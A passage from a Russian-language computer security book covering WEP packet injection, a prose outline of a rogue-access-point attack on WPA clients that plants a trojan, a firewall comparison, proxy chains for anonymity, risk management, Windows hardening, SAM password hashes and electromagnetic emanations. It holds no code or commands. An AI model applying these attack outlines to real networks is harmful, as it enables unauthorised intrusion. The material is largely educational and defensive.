   А что если такое критически необходимое количество пакетов невозможно собрать за приемлемое время? В таком случае поступают следующим образом.
   В сеть отправляется некоторое количество "провоцирующих" пакетов, заставляющих участников сети отвечать. Ответы порождают трафик – как следствие, количество перехваченных пакетов, зашифрованных одним и тем же ключом и имеющих различные IV, увеличивается.
   В качестве "провоцирующих" пакетов чаще всего используют ARP-запросы. Наверняка читателю станет интересно, почему именно ARP? А все дело в том, что ARP не фильтруется межсетевым экраном, да и к тому же использование данного протокола в этом случае не должно вызвать никаких подозрений со стороны администраторов сети.


   Инъекция зашифрованных пакетов

   Не секрет, что большинство современных утилит для атаки WEP «заточены» для взлома WEP-ключа. Существуют, однако, другие уязвимости WEP, которые можно использовать для атаки.
   В 2003 году Энтоном Рейджером (Anton Rager) была выпущена интересная утилита WEPWedgie, позволяющая атакующему создавать текстовые пакеты и отсылать их в беспроводную сеть без знания WEP-ключа.
   Суть атаки WEPWedgie's prgasnarf состоит в ожидании аутентификации по закрытому ключу. В случае аутентификации по закрытому ключу точка доступа передает 128 байт открытого текста, рабочая станция принимает этот текст, шифрует его и передает шифротекст, используя тот же ключ и шифр, что используется WEP для шифрования последующего трафика.
   Как уже было сказано выше, знание некоторого открытого текста и результата шифрования позволяет получить ключевую последовательность как результат операции XOR между соответствующими IV. Поскольку WEP позволяет повторно использовать одинаковые IV, WEPWedgie может применять полученную ключевую последовательность для правильного шифрования и инъекции любого количества пакетов, содержание которых ограничено длиной этой последовательности.


   Ломаем WPA

   С принятием стандарта безопасности 802.11i и распространением сетей на основе WPA-шифрования уверенность в защищенности беспроводной инфраструктуры начала закономерно расти. При качественной настройке безопасности WPA-сети ее «брутфорс» – взлом практически невозможен. Криптоалгоритм AES, 256-битный сменяющийся во времени ключ и прочие нововведения, казалось бы, должны стать неким гарантом безопасности. Но и «на старуху бывает проруха». WPA ломается. Общая идея данного подхода достаточно проста и заключается в следующем:
   ♦ необходимо найти неассоциированное клиентское устройство-жертву;
   ♦ далее эмулируется точка доступа;
   ♦ жертве выдается IP-адрес, а также IP-адреса подставных шлюза и DNS-серве-ра через DHCP.
   Далее следует атака на сеть. При успешном получении удаленного доступа к устройству последнее "отпускается" обратно на легальную беспроводную сеть, предварительно запустив на нем троянского коня.


   Безопасность Wi-Fi

   При построении безопасной Wi-Fi-сети прежде всего необходимо обратить внимание на следующее:
   ♦ ограничение физического доступа к сети (трудновыполнимо, однако же, если не обращать внимания на такие очевидные вещи, как "вочолкинг" – так называемые пометки мелом, сигнализирующие взломщикам о наличии беспроводной сети (рис. 6.1 и 6.2), – то говорить о какой-либо безопасности не имеет смысла вообще);
   ♦ шифрование передаваемой информации (использование WPA, а не WEP);
   ♦ использование трудновзламываемых паролей (не менее 12 знаков, сочетание цифр, букв и специальных символов);
   Рис. 6.1. Обозначенная сеть
   ♦ защиту от несанкционированного доступа на уровне ресурсов (применение ACL, фильтрация по MAC-адресу);
   ♦ при построении WLAN более чем уместно использование VPN, SSH, IPSec;
   ♦ недопустимо, чтобы точка доступа была напрямую подсоединена к локальной сети;
   ♦ наличие межсетевого экрана обязательно (желательно, чтобы фильтрация клиентов осуществлялась по IP-и MAC-адресам совместно).
   Рис. 6.2. Простой язык «вочолкинга»



   6.4. Лучшие брандмауэры – какие они?


   Не секрет, что первым рубежом – огненной стеной, защищающей систему от вторжения извне и от последующей «зло-активности» изнутри, – является брандмауэр. От выбора последнего зависит, ни много ни мало, почти все – взломают вашу систему или нет.
   В данном разделе мы поговорим о межсетевых экранах пользовательского уровня– длярабочих станций. Они, как правило, рассчитаны на работу в среде Windows, их установка и настройка не представляет особой трудности.

   ПРИМЕЧАНИЕ
   Если вы хотите подробнее узнать о серверных межсетевых экранах, обратитесь к гл. 7.

   В рамках данного раздела мы попытаемся выяснить, какому из популярных в настоящее время брандмауэров можно доверить безопасность нашей системы. Особый акцент будет сделан на объективные «за и против», ведь не секрет, что идеального продукта нет в принципе.
   Мы не будем распыляться на бессмысленное тестирование каждого из нижеперечисленных продуктов с указанием самого стильного GUI и количества кнопок, а сразу же остановимся на двух несомненных лидерах в своем классе (межсетевые экраны для рабочих станций) – Zone Alarm Firewall и Agnitum Outpost Firewall, – заслуживающих пристального внимания среди IT-специалистов и обычных пользователей. Рассмотрим эти брандмауэры подробнее и постараемся отметить все плюсы и минусы данных продуктов.


   ZoneAlarm

   Итак, встречайте, наш первый герой – ZoneAlarm; не побоюсь этого слова, знаменитый межсетевой экран, отмеченный наградами таких авторитетных изданий, как PC World, PC Magazine и др.
   ZoneAlarm является брандмауэром, оптимизированным для использования на домашнем компьютере или рабочем месте в организации. На основании выбранного уровня безопасности (Internet/Trusted Zone) ZoneAlarm блокирует или разрешает установление определенных соединений с локальной сетью и Интернетом, предупреждает о попытках установить несанкционированные соединения и блокирует их.
   Краткое описание. ZoneAlarm (следут также упомянуть платную версию брандмауэра ZoneAlarm Pro, отличающуюся от бесплатной наличием модуля Antispyware и доработанными модулями MailSafe и Programm control) содержит:
   ♦ собственно, сам межсетевой экран, имеющий достаточно удобный инструмент, чтобы в момент "обрубить" всю сетевую активность (удобная красная кнопка);
   ♦ модуль контроля сетевой активности программ, содержащий "грозный замок";
   ♦ инструменты для установления уровней безопасности и зон безопасности;
   ♦ функцию MailSafe для проверки прикрепленных файлов к почтовым сообщениям, а также модуль контроля состояния антивирусного ПО.
   В ZoneAlarm предусмотрен режим работы Stealth, позволяющий оставаться невидимым из Сети (одним из таких инструментов невидимости является запрет на ICMP-эхо-ответ).
   Программа проста в установке. В принципе, установив все по умолчанию, можно говорить, что настройки закончены. В случае же если ваш ПК подключен к локальной сети, придется немного повозиться, иначе простая попытка зайти на вашу папку, открытую для общего доступа, закончится уведомлением типа "Блокирована атака".
   По умолчанию после установки в программе стоит высший уровень защищенности для Интернета (Internet Zone Security) и средний для локальной сети (Trusted Zone Security).
   Так называемый Stealth mode, который является наивысшим уровнем безопасности для любой из перечисленных зон, как уже следует из названия, призван обеспечить невидимый режим, подразумевающий защиту от хакеров (хотя, как мне лично кажется, никакая подобная кнопка, даже такая как Hidden and protected from hackers, все равно не спасет).
   Каждому приложению на компьютере можно разрешить или запретить обращаться к локальной сети и Интернету.
   Попытки "вылазки" новых приложений в сеть регистрируются мгновенно, при этом пользователю предлагается более чем простой выбор: либо разрешить доступ, либо нет. Все "алерты" неизвестной сетевой активности будут понятны даже самым неопытным пользователям, ведь окно предлагает всего два выбора – открыть соединение или отказаться от него. К тому же подобные сообщения имеют в своем составе вариант: хотите ли вы, чтобы программа запомнила этот ваш выбор на будущее. Все без исключения обращения к Сети протоколируются, даже при условии, что вывод информационных сообщений отключен.
   Настройки. Настройки программы рассчитаны даже на неопытного пользователя. В отличие от других аналогичных брандмауэров, в ZoneAlarm используется более простой подход управления– пользователь выбирает нужный ему «уровень безопасности» для работы в Интернет и для локальной сети. На основе этого выбора ZoneAlarm самостоятельно определяет правила работы.
   Интересной особенностью программы, пожалуй, можно считать возможность блокирования доступа в Сеть с использованием всего одной кнопки (!).
   Пожалуй, одной из интереснейших особенностей ZoneAlarm можно считать криптографическую подпись для доверенных приложений. Именно благодаря данной функции все попытки так называемой маскировки одних программ под другие (а именно так часто и действуют троянские кони) сводятся на нет.
   Ну что ж, описание действительно заставляет задуматься: за интуитивно простым интерфейсом ZoneAlarm кроется "грозный страж" с достаточно качественно написанным ядром и оригинальным алгоритмом inbound/outbound-контроля. Ко всему прочему действия пользователя в случае атаки извне доведены до минимума – достаточно нажать на красную кнопку.


   Agnitum Outpost Firewall

   Итак, посмотрим, чем же так хорош наш второй герой – Agnitum Outpost Firewall Pro (в данном случае мы рассматриваем версию 4.0; ввиду многочисленности настроек ограничимся лишь описанием ключевых особенностей работы; в ходе описания будут прокомментированы некоторые моменты, дабы их смысл оказался максимально понятным широкому кругу читателей).
   Итак, Outpost Firewall обеспечивает проактивную защиту, блокирующую все известные на сегодняшний день методики обхода безопасности (ликтесты), таким образом полностью предотвращая утечку важных данных с компьютеров пользователей. Новый контроль Anti-Leak объединяет технологии контроля скрытых процессов и контроля памяти процессов, доступные в предыдущих версиях, и предоставляет набор дополнительных возможностей, таких как блокировка попыток получения контроля над другим приложением, внедрения компонентов, контроля окон приложения, запуска приложения с параметрами командной строки и др.
   Ну что ж, достаточно недурно. Однако, как вы увидите позже, ликтесты отнюдь не являются показателем того, что брандмауэр действительно лучший.
   Блокировка попыток получения контроля над другим приложением, внедрения компонентов, контроля окон приложения, запуска приложения с параметрами командной строки – все из перечисленных технологий являются попыткой достойно ответить на эволюционирующие виды вредоносного ПО (руткиты, троянские кони с функциями внедрения в уже работающие приложения и процессы) (рис. 6.3).
   Рис. 6.3. Окно Outpost Firewall
   Новый анализатор сигнатур spyware обеспечивает еще более качественное обнаружение вредоносного ПО для улучшения защиты пользователей от всех известных, а также модифицированных и самых новых версий вредоносных программ. Для получения более качественных результатов сканирования spyware-сканер, наряду с построением контрольных сумм по целому файлу, имеет возможность детектировать вредоносное ПО по неизменяемой, уникальной части файла.
   Ну что ж, очень даже неплохо. В описании подразумевается использование как сигнатурного поиска, так и поиска по контрольной сумме файла (получается этакий гибрид между обычным антивирусом-полифагом и ревизором).
   Outpost Firewall использует новую процедуру проверки на основе Secure Hash Algorithm (SHA) 256 для определения приложений во время автоматического создания правил сетевого доступа через ImproveNet. Это позволяет Outpost Firewall Pro гораздо более точно определять приложения и, следовательно, создавать и распространять оптимальные наборы правил.
   Технологии, описанные выше, призваны предотвратить случаи, когда spyware пытается выйти в Сеть, маскируясь под доверенное приложение, например Internet Explorer. В основе такой защиты стоит криптографическая подпись, создаваемая брандмауэром для каждого отдельного приложения, формируя таким образом уникальный PID – гарант того, что данная программа является тем, за кого она себя выдает.
   В Outpost Firewall также есть специально разработанный "Игровой режим", который позволяет не отвлекать пользователя и не прерывать его во время игры и при этом защищает систему во время игр или просмотра фильмов в сети. В этом режиме защита действует, не надоедая при этом пользователю многочисленными окнами и предупреждениями.
   Для тех, кто хочет уменьшить количество запросов от программы, но хочет иметь полный контроль, Outpost Firewall Pro предлагает "Низкий уровень контроля компонентов", который предупреждает не о каждом измененном или добавленном компоненте приложения, а только об исполняемых файлах.
   Наконец, Outpost Firewall Pro представляет новый режим внутренней защиты. С включенной внутренней защитой Outpost Firewall предотвращает попытки вирусов, троянских коней и шпионского ПО завершить работу брандмауэра. Outpost Firewall обнаруживает и предотвращает все попытки имитации нажатия клавиш пользователем, которые могут привести к приостановке работы брандмауэра. Он также отслеживает изменение своих собственных компонентов на жестком диске, значений реестра, состояние памяти, запущенные службы и т. д. и блокирует любые изменения, предпринятые вредоносными приложениями.


   Leak-тест

   Посмотрим, что представляют собой программы в авторитетных тестах. В качестве контрольного теста мы воспользуемся результатами так называемого Leak-теста (от англ. leak – «просачиваться, утекать»). Поясним основные его принципы.
   В основе данного теста лежит использование outbound-эмуляторов, позволяющих имитировать работающих троянских коней, пытающихся что-либо передать в Сеть. В качестве примера можно привести следующие тест-системы (рис. 6.4 и 6.5).
   Принцип работы данной тест-системы заключается в создании туннеля через открытый 80-й порт. Таким образом, эмулируется тот случай, когда троянский конь маскируется за счет работы в уже открытом и доверенном в настройках 80-м порте (рис. 6.4).
   Рис. 6.4. Окно тест-системы FireHole
   В данном случае Ghost эмулирует отправку HTTP-запросов на удаленный URL-адрес, скрывая факт отправки как таковой (рис. 6.5).
   Рис. 6.5. Окно Ghost
   Надо заметить, что некоторые из подобных эмуляторов распознаются антивирусом как самые настоящие троянские кони (рис. 6.6).
   Рис. 6.6. Некоторые эмуляторы антивирус принимают за троянских коней Вот, собственно, и результаты теста (табл. 6.1).
   Таблица 6.1. Результаты Leak-теста согласно http://www.matousec.com
   Самое интересное, пожалуй, то, что по результатам теста, который описан выше (см. табл. 6.1), наши претенденты за звание лучшего межсетевого экрана не занимают ни первого, ни второго места. Парадокс? Удивляться не стоит. Во-первых, это всего лишь один из возможных тестов. Во-вторых, априорное лидерство наших героев проверено, как говорится, огнем и медными трубами, не одним поколением интернет-пользователей и добрым десятком тестовых лабораторий. Поэтому все догадки по этому поводу с успехом подойдут к заключениям типа «Совершенных продуктов нет и не может быть…».
   Исходя из полученных результатов тестирования очевидно: Zone Alarm несколько опережает Outpost Firewall.

   ПРИМЕЧАНИЕ
   Результаты представленных тестов в известной мере носят объективный характер и не могут быть экстраполированы на всю линейку продуктов класса.

   Это в равной степени относится как к платным версиям обоих продуктов (8600 баллов ZoneAlarm Pro против 6550 баллов Outpost Firewall PRO), так и к бесплатным (1550 баллов ZoneAlarm Free против 1000 баллов Outpost Firewall Free). Однако же не будем забывать и о том, что на момент написания книги в свет уже успели выйти более новые версии обоих продуктов, функционал которых может значительно различаться. Как бы там ни было, а факт остается фактом: два рассматриваемых продукта, несомненно, можно считать лучшими в своем классе.
   ZoneAlarm – более прост и интуитивно понятен в настройке. Agnitum Outpost Firewall – более гибок в настройках и конфигурировании. Какому бы из продуктов ни отдал свое предпочтение пользователь – оба по праву можно считать настоящими монстрами среди межсетевых экранов своего класса.



   6.5. Warning! Your IP is detected! Скрываем свое присутствие в Интернете

   В контексте данного раздела мы поговорим о наиболее популярном способе сокрытия IP – использовании прокси-сервера. Особое внимание будет уделено созданию цепочки из прокси-серверов – нашего виртуального оплота анонимности.
   Зачем это надо, подробно объяснять, думаю, не имеет смысла. Ваш IP-адрес подобен отпечатку пальцев, и это вполне очевидно. Посещение "запрещенных" сайтов, общение на форуме "не с теми людьми", "прозрачный" ICQ – все это c реальным IP и при определенном стечении обстоятельств может закончиться весьма и весьма плачевно.
   Начнем, пожалуй. Говоря простым языком, прокси представляет собой сервер, обратившись к которому можно работать от его имени: реальный IP работающего через прокси скрывается и подменяется IP-прокси-сервера. Прокси-сервер скрывает сведения об источнике запроса или пользователе. Целевой сервер видит лишь информацию о прокси-сервере, например IP-адрес, но не имеет возможности определить истинный источник запроса.
   По уровню предоставляемой конфиденциальности все прокси-серверы подразделяются на прозрачные и непрозрачные. Разница заключается в том, что первые предоставляют "пункту обращения" свой собственный IP, а вторые, которые по праву иногда называют элитными, не предоставляют такового. Последние небезосновательно широко используются представителями "киберандеграунда".
   Существуют также так называемые искажающие прокси-серверы, которые передают целевому серверу ложную информацию об истинном пользователе.
   Выделяют следующие типы прокси-серверов, классификация которых основана на их специализации, хотя многие из них используются для нескольких целей одновременно.
   HTTP-proxy – наиболее распространенный тип proxy-серверов. Основное предназначение – анонимное посещение сайтов. Чтобы настроить браузер на использование прокси, открываем Internet Explorer и выбираем команду Сервис ► Свойства обозревателя ► Подключения ► Настройка. Устанавливаем флажок Использовать прокси-сервер для этого подключения и заполняем поля Адрес и Порт (рис. 6.7).
   Рис. 6.7. Настройка прокси
   Тонкую настройку соединения в зависимости от типа прокси-сервера можно найти, нажав кнопку Дополнительно.
   Свежий список рабочих прокси-серверов можно найти по адресу www.antichat.ru.
   Настроив таким образом ваш браузер на работу через прокси и обеспечив некоторый уровень анонимности, все же необходимо заметить, что использование одного прокси не является гарантом того, что ваш IP не "засветится" там, где ему "светиться" крайне нежелательно. Именно поэтому целесообразно "замутить" этакую цепь из прокси, известную также как proxy-chain. Для этого, помимо вышеперечисленных манипуляций с пунктом Прокси-сервер в настройке подключений, резонно задействовать CGI-proxy, или так называемые анонимайзеры, о которых чуть ниже поговорим подробнее. Продолжим нашу классификацию. Выделяют также следующие типы прокси.
   ♦ Socks-proxy – данный тип прокси-серверов отличается чрезвычайно богатыми возможностями работы: такие прокси работают практически с любым типом информации в Сети.
   ♦ FTP-proxy – этот тип прокси является узкоспециализированным и предназначен для работы с FTP-серверами.
   ♦ CGI-proxy, они же – анонимайзеры. Фактически, CGI-proxy представляет собой HTML-страницу с поисковой формой, в которую вводится адрес нужного нам сайта. Как пример – http://www. anonymouse.org.
   Используя анонимайзер, можно без проблем построить цепочку из прокси, обеспечив тем самым анонимность более высокого класса. Как? Просто. Для этого заходим на один из сайтов, предоставляющих подобные услуги, в форме вводим адрес другого аналогичного прокси и т. д. Чем большее количество серверов включено в такую цепочку, тем выше уровень вашей анонимности. Существует, однако, и обратная зависимость: чем длиннее цепь, тем медленнее скорость соединения. Процесс создания цепочки из прокси можно автоматизировать, используя специализированное программное обеспечение вроде SocksChain. Программа сама скачивает и настраивает цепочку из прокси-серверов.
   Насколько сложно установить реальный IP при условии использования цепочки из прокси-серверов? Сложно, но только если речь не идет о спецслужбах…



   Глава 7
   Комплексное обеспечение безопасности


   ♦ Политика безопасности как фундамент комплексной защиты. Понятие риска
   ♦ Изменяем настройки по умолчанию. Делаем Windows более безопасной
   ♦ Как работает система безопасности Windows? Ломаем пароль на вход за 28 секунд!
   ♦ Побочные электромагнитные излучения
   ♦ Восстановим, а потом удалим навсегда
   Любой специалист по информационной безопасности вам скажет, что "создание надежной системы безопасности возможно только при условии использования комплексных многоуровневых решений", и он будет прав.
   Действительно, было бы наивно и опрометчиво полагаться исключительно на антивирусную программу или межсетевой экран, аргументируя свое мнение чем-то вроде "А у меня самая новая версия и свежие базы…". Прочитав данную главу, вы узнаете:
   ♦ что такое политика безопасности и как с этим связано понятие риска;
   ♦ можно ли, не прибегая к сторонним средствам, сделать Windows более безопасной;
   ♦ как работает система безопасности Windows и правда ли, что восьмизначный пароль можно взломать всего за 28 секунд;
   ♦ что такое ПЭМИ и как с ним бороться;
   ♦ как восстановить информацию, а потом удалить ее навсегда.


   7.1. Политика безопасности как фундамент комплексной защиты. Понятие риска

   Зачем нужна информационная безопасность (ИБ), какими средствами ее можно достичь и как с этим связана политика безопасности?
   Информация– это актив, ее можно купить и продать. Любая информационная система предполагает некий обмен. Здесь и появляются риски.
   Информацию можно украсть, подменить, сделать недоступной тому, кому она предназначается. Все эти действия и составляют нарушение информационной безопасности (нарушение трех главных концепций ИБ: конфиденциальности, целостности и доступности).
   Ключевым понятием в контексте обеспечения информационной безопасности является политика безопасности. Политика безопасности как набор правил и указаний находит свое отражение в документе политики безопасности. Кратко рассмотрим некоторые аспекты применения политики безопасности в контексте управления предприятием.
   Итак, мы остановились на документе политики безопасности. Прежде всего необходимо обратить внимание на следующее (более подробно об управлении информационной безопасностью можно узнать на страницах международного стандарта ISO 17799:2005):
   ♦ документ политики безопасности (далее – ПБ) должен соответствовать конкретной системе и максимально адекватно отражать правила, указания и нормы, благодаря которым возможно поддержание ИБ;
   ♦ документ политики информационной безопасности должен быть утвержден руководством, опубликован и доведен до сведения всех сотрудников и, при необходимости, внешних сторон;
   ♦ руководству следует назначить роли безопасности, а также координировать и контролировать внедрение мер безопасности в рамках организации;
   ♦ руководству следует активно поддерживать безопасность внутри организации посредством четких указаний, наглядного примера исполнения, точных заданий и утверждения обязанностей по обеспечению информационной безопасности;
   ♦ политику информационной безопасности следует пересматривать с определенным интервалом для поддержания ее в адекватном и эффективном состоянии;
   ♦ система управления информационной безопасностью и ее реализация должны подвергаться независимому аудиту со стороны.
   Требования к безопасности устанавливаются путем методического определения рисков безопасности.
   Как только установлены требования к безопасности и риски, а также приняты решения по обработке рисков, следует выбрать и внедрить допустимые средства управления для снижения рисков до приемлемого уровня.
   Управление рисками. Известно, что риск – это вероятность реализации угрозы информационной безопасности. Анализ риска заключается в моделировании картины наступления неблагоприятных условий посредством учета всех возможных факторов, определяющих риск.

   ПРИМЕЧАНИЕ
   Более подробно про управление рисками можно узнать на страницах специального руководства NIST "Risk Management Guide for Information Technology Systems".

   С математической точки зрения, при анализе рисков такие факторы можно считать входными параметрами. Перечислю эти параметры.
   ♦ Активы – ключевые компоненты инфраструктуры системы, вовлеченные в бизнес-процесс и имеющие определенную ценность.
   ♦ Угроза, реализация которой возможна посредством эксплуатации уязвимости.
   ♦ Уязвимости – слабость в средствах защиты, вызванная ошибками или несовершенством в процедурах, проекте, реализации, которая может быть использована для проникновения в систему.
   ♦ Ущерб, который оценивается с учетом затрат на восстановление системы возможного инцидента ИБ. Оценка ущерба включает в себя не только калькуляцию прямых убытков вследствие реализации угроз. Удобнее говорить о степени нанесенного ущерба в диапазоне от незначительного до высокого.
   Итак, первым этапом при проведении многофакторного анализа рисков являются идентификация и классификация анализируемых входных параметров.
   Далее необходимо провести градацию каждого параметра по уровням значимости (например, высокий, средний, низкий).
   На заключительном этапе моделирования вероятного риска (предшествующем получению численных данных уровня риска) происходит привязка выявленных угроз и уязвимостей к конкретным компонентам ИТ-инфраструктуры (такая привязка может подразумевать, к примеру, анализ риска с учетом и без учета наличия средств защиты системы, вероятности того, что система будет скомпрометирована ввиду неучтенных факторов, и т. д.).
   Рассмотрим процесс моделирования рисков пошагово. Для этого прежде всего обратим свое внимание на активы компании.
   Активы. Прежде всего необходимо определить, что является ценным активом компании с точки зрения информационной безопасности. Стандарт ISO 17799, подробно описывающий процедуры системы управления ИБ, выделяет следующие виды активов:
   ♦ информационные ресурсы (базы и файлы данных, контракты и соглашения, системная документация, научно-исследовательская информация, документация, обучающие материалы и пр.);
   ♦ программное обеспечение;
   ♦ материальные активы (компьютерное оборудование, средства телекоммуникаций и пр.);
   ♦ сервисы (сервисы телекоммуникаций, системы обеспечения жизнедеятельности и др.);
   ♦ сотрудники компании, их квалификация и опыт;
   ♦ нематериальные ресурсы (репутация и имидж компании).
   Следует определить, нарушение информационной безопасности каких активов может нанести ущерб компании и в какой мере.
   Угрозы. Согласно авторитетной классификации NIST, включенной в «Risk Management Guide for Information Technology Systems», категорированию и оценке угроз предшествует непосредственная идентификация их источников. Так, согласно вышеупомянутой классификации, можно выделить следующие основные типы угроз:
   ♦ природного происхождения (землетрясения, наводнения и т. п.);
   ♦ исходящие от человека (неавторизованный доступ, сетевые атаки, ошибки пользователей и т. п.);
   ♦ техногенного происхождения (аварии различного рода, отключение электроснабжения, химическое загрязнение и т. п.).
   Вышеописанная классификация может быть далее категорирована более подробно. Так, к самостоятельным категориям источников угроз, происходящим от человека, согласно упомянутой классификации NIST, относятся:
   ♦ хакеры;
   ♦ криминальные структуры;
   ♦ террористы;
   ♦ компании, занимающиеся промышленным шпионажем;
   ♦ инсайдеры.
   Каждый из перечисленных видов угроз, в свою очередь, должен быть детализирован и оценен по шкале значимости (например, низкий, средний, высокий).
   Уязвимости. Очевидно, что анализ угроз должен рассматриваться в тесной связи с уязвимостями исследуемой нами системы. Задачей данного этапа управления рисками является составление перечня возможных уязвимостей системы и категорирование этих уязвимостей с учетом их «силы».
   Так, согласно общемировой практике, градацию уязвимостей можно разбить по уровням:
   ♦ критический;
   ♦ высокий;
   ♦ средний;
   ♦ низкий.
   Источниками составления такого перечня/списка уязвимостей могут стать:
   ♦ общедоступные, регулярно публикуемые списки уязвимостей (к примеру, на www.securityLab.ru);
   ♦ список уязвимостей, публикуемых производителями ПО;
   ♦ результаты тестов на проникновение (проводится администратором безопасности внутри компании);
   ♦ анализ отчетов сканеров уязвимостей (проводится администратором безопасности внутри компании).
   В общем случае уязвимости можно классифицировать следующим образом:
   ♦ уязвимости операционной системы и программного обеспечения (ошибки кода), обнаруженные производителем или независимыми экспертами;
   ♦ уязвимости системы, связанные с ошибками в администрировании (например, незакрытые межсетевым экраном порты с уязвимыми сервисами, общедоступные незаблокированные сетевые ресурсы C$, D$ и т. д.);
   ♦ уязвимости, источниками которых могут стать инциденты, непредусмотренные политикой безопасности, а также события стихийного характера.
   В качестве яркого примера распространенной уязвимости операционных систем и программного обеспечения можно привести переполнение буфера (buffer overflow). К слову будет сказано, абсолютное большинство из ныне существующих вредоносных программ реализуют класс уязвимостей на переполнение буфера.
   Простейшая оценка информационных рисков заключается в расчете рисков, который выполняется с учетом сведений о критичности активов, а также вероятностей реализации уязвимостей.
   Классическая формула оценки рисков:
   R = D • P(V),
   где R – информационный риск;
   D – критичность актива (ущерб);
   P(V) – вероятность реализации уязвимости.


   7.2. Изменяем настройки по умолчанию. Делаем Windows более безопасной

   Не секрет, что одним из «факторов слабости» системы Windows являются ее настройки по умолчанию. Открытые по умолчанию диски, множество непонятно зачем работающих служб и сервисов.
   Итак, приступим. Основные правила безопасности следующие.
   ♦ Работаем не от имени администратора (надеюсь, что вы не забыли о том, что "вредоносный код может все то, что могут пользователь и служба").
   ♦ Отключаем ненужные службы через Пуск ► Панель управления ► Администрирование ► Службы (рис. 7.1 и 7.2).
   Рис. 7.1. Службы Windows
   Рис. 7.2. Управление запуском – все интуитивно просто
   Зачем? Все очень просто. Больше работающих служб (имеется в виду связанных с сетью) – больше открытых портов – выше вероятность, что через очередной из этих открытых портов "вломится" червь или вирус.
   ♦ Удаляем "непрошеных гостей" (HelpAssistant и другие "левые" учетные записи) из списка пользователей (рис 7.3).
   Рис. 7.3. Всех «левых» пользователей вон!
   ♦ В пакете SP2 имеется замечательный инструмент DEP (рис. 7.4). Предотвращение выполнения данных (DEP) используется для предотвращения проникновения на компьютер вирусов и других угроз безопасности, выполняющих вредоносный код из областей памяти, которые должны использоваться только операционной системой Windows и другими программами. В отличие от брандмауэра или антивирусной программы, средство DEP не препятствует установке потенциально опасных программ на компьютер. Однако данное обстоятельство никоим образом не уменьшает значимость данной службы. Если какая-либо программа пытается запустить код (любой код) из защищенной области, DEP закрывает программу и отображает уведомление.
   Рис. 7.4. Включаем DEP

   ПРИМЕЧАНИЕ
   Как было уже сказано выше, говорить о защищенной системе уместно только в контексте многоуровневой защиты, и это факт. К примеру, тот же DEP легко обходится некоторыми продвинутыми техниками, и даже в том случае, если речь идет об аппаратном DEP!

   ♦ Последний штрих – включаем отображение скрытых файлов и папок, а также системных файлов, снимаем флажок в параметре Скрывать расширения для зарегистрированных типов файлов (рис. 7.5). «Зачем?» – спросят некоторые из читателей. Ответ на этот вопрос приходит сам собой: достаточно вспомнить, к примеру, вирус KESHA, распространяющийся через флэшки в виде скрытого системного файла в скрытой папке Recycled.
   Рис. 7.5. Эти три нехитрые настройки могут оказаться весьма и весьма полезными

   ВНИМАНИЕ
   Некоторые вирусы, распространяющиеся описанным выше способом (KESHA.EXE), дезактивируют настройку отображения скрытых файлов и папок. Выход – удаление вируса из-под чистой среды (например, загрузочный LiveCD).

   Вышеперечисленные правила – отнюдь не исчерпывающее руководство по оптимизации безопасности системы, однако в большинстве случаев их оказывается вполне достаточно.


   7.3. Как работает система безопасности Windows? Ломаем пароль на вход за 28 секунд!

   «Комплексная безопасность. а при чем здесь взлом Windows?» – спросят многие из читателей. Взлом пароля Windows – это как раз и есть яркий пример успешной атаки, при условии что:
   ♦ пользователь работает с правами администратора;
   ♦ не включена служба DEP (в большинстве из случаев программы взлома, подобные описанной ниже, инициируют DEP на принудительный останов службы LSASS);
   ♦ операционная система не имеет свежих обновлений (от этого, между прочим, в ряде случаев зависит, сработает ли DEP).
   Итак, технология.
   Для хранения и обработки таких атрибутов пользователя, как пароли в операционной системе Windows NT и ей подобных, используется SAM (Security Accounts Manager – администратор учетных записей в системе защиты). SAM размещает всю информацию в одноименной базе данных, которая находится по адресу %SystemRoot%\system32\config. Забегая вперед, необходимо сказать, что именно SAM-файл является наиболее ценным трофеем, пропустив который через соответствующую програму, можно получить пароли от текущих учетных записей. Но в данном случае нас в большей степени интересует не взлом как таковой, а уязвимость, посредством которой «брут» имеет место быть.
   В операционных системах Windows NT для защиты паролей используются две однонаправленные хэш-функции (хэш-функция– алгоритм, используемый для генерации хэш-кодов цифровых объектов, в нашем случае паролей). В Windows-системе присутствуют LM-хэш (Lan Manager-хэш) и NT-хэш (WindowsNT). Наличие двух аналогичных функций необходимо для совместимости со старыми операционными системами. LM-хэш-алгоритм изначально был разработан Microsoft для операционной системы OS/2, он интегрирован в Windows 95/98, Windows for Workgroups и частично в Windows 3.1. Хэш WindowsNT был разработан специально для операционной системы Microsoft Windows NT. На страже LM-хэша стоит известный алгоритм шифрования DES, NT-хэш держится на алгоритме шифрования MD4.
   А теперь внимание (рис. 7.6)!
   Рис. 7.6. Локальный взлом SAM. Понадобилось всего 28 секунд, чтобы взломать пароль из восьми знаков


   7.4. Побочные электромагнитные излучения


   Говоря о многоуровневой защите, нельзя не упомянуть о таком явлении, как утечка информации посредством паразитного электромагнитного излучения.
   Представьте себе такую ситуацию: ваша компания оперирует с информацией закрытого характера. На обеспечение надежной защиты информации брошены все силы и вложены значительные финансовые средства. Однако криптография, разделение доступа и политика безопасности – все это в одно мгновение может стать совершенно бесполезным. Почему?
   Все началось в 1985 году в Каннах на Международном конгрессе по вопросам безопасности ЭВМ. Именно тогда сотрудник голландской телекоммуникационной компании РТТ Вим ван Экк (Wim van Eck), продемонстрировав, с какой легкостью можно восстановить картинку с монитора компьютера, шокировал присутствующих специалистов: используя довольно простое в своем роде устройство, размещенное в автомобиле, он сумел снять данные, источник которых находился на восьмом этаже здания, располагающегося на расстоянии около ста метров от места перехвата.
   Проблема утечки информации через ПЭМИ (побочные электромагнитные излучения) существовала еще в начале ХХ века, однако серьезно изучением этого феномена начали заниматься в конце 1940-х – начале 1950-х годов. Исследования подобного рода носили закрытый характер, что неудивительно, ведь все технические ноу-хау всегда прямым или косвенным образом затрагивали сферу интересов оборонных ведомств. Однако все тайное рано или поздно становится явным, и уже в 1980-х годах количество публикаций на эту щекотливую тему начало неуклонно возрастать. ПЭМИ, возникающие при работе каких-либо электронных устройств, обусловлены протеканием тока в их электрических цепях.
   Простейшим примером ПЭМИ на бытовом уровне (очень упрощенно) можно считать возникновение индукционных токов в телефонных проводах. Устройством перехвата в данном случае может служить индукционный датчик (например, датчик Холла). Чтобы убедиться в том, что "умная" электроника активно фонит, вовсе не обязательно держать в квартире дорогостоящую аппаратуру, размещаемую в трех огромных чемоданах. Достаточно включить обычный калькулятор и поднести это "чудо техники" к радиоприемнику, настроив последний на прием коротких волн.


   Специфика ПЭМИ

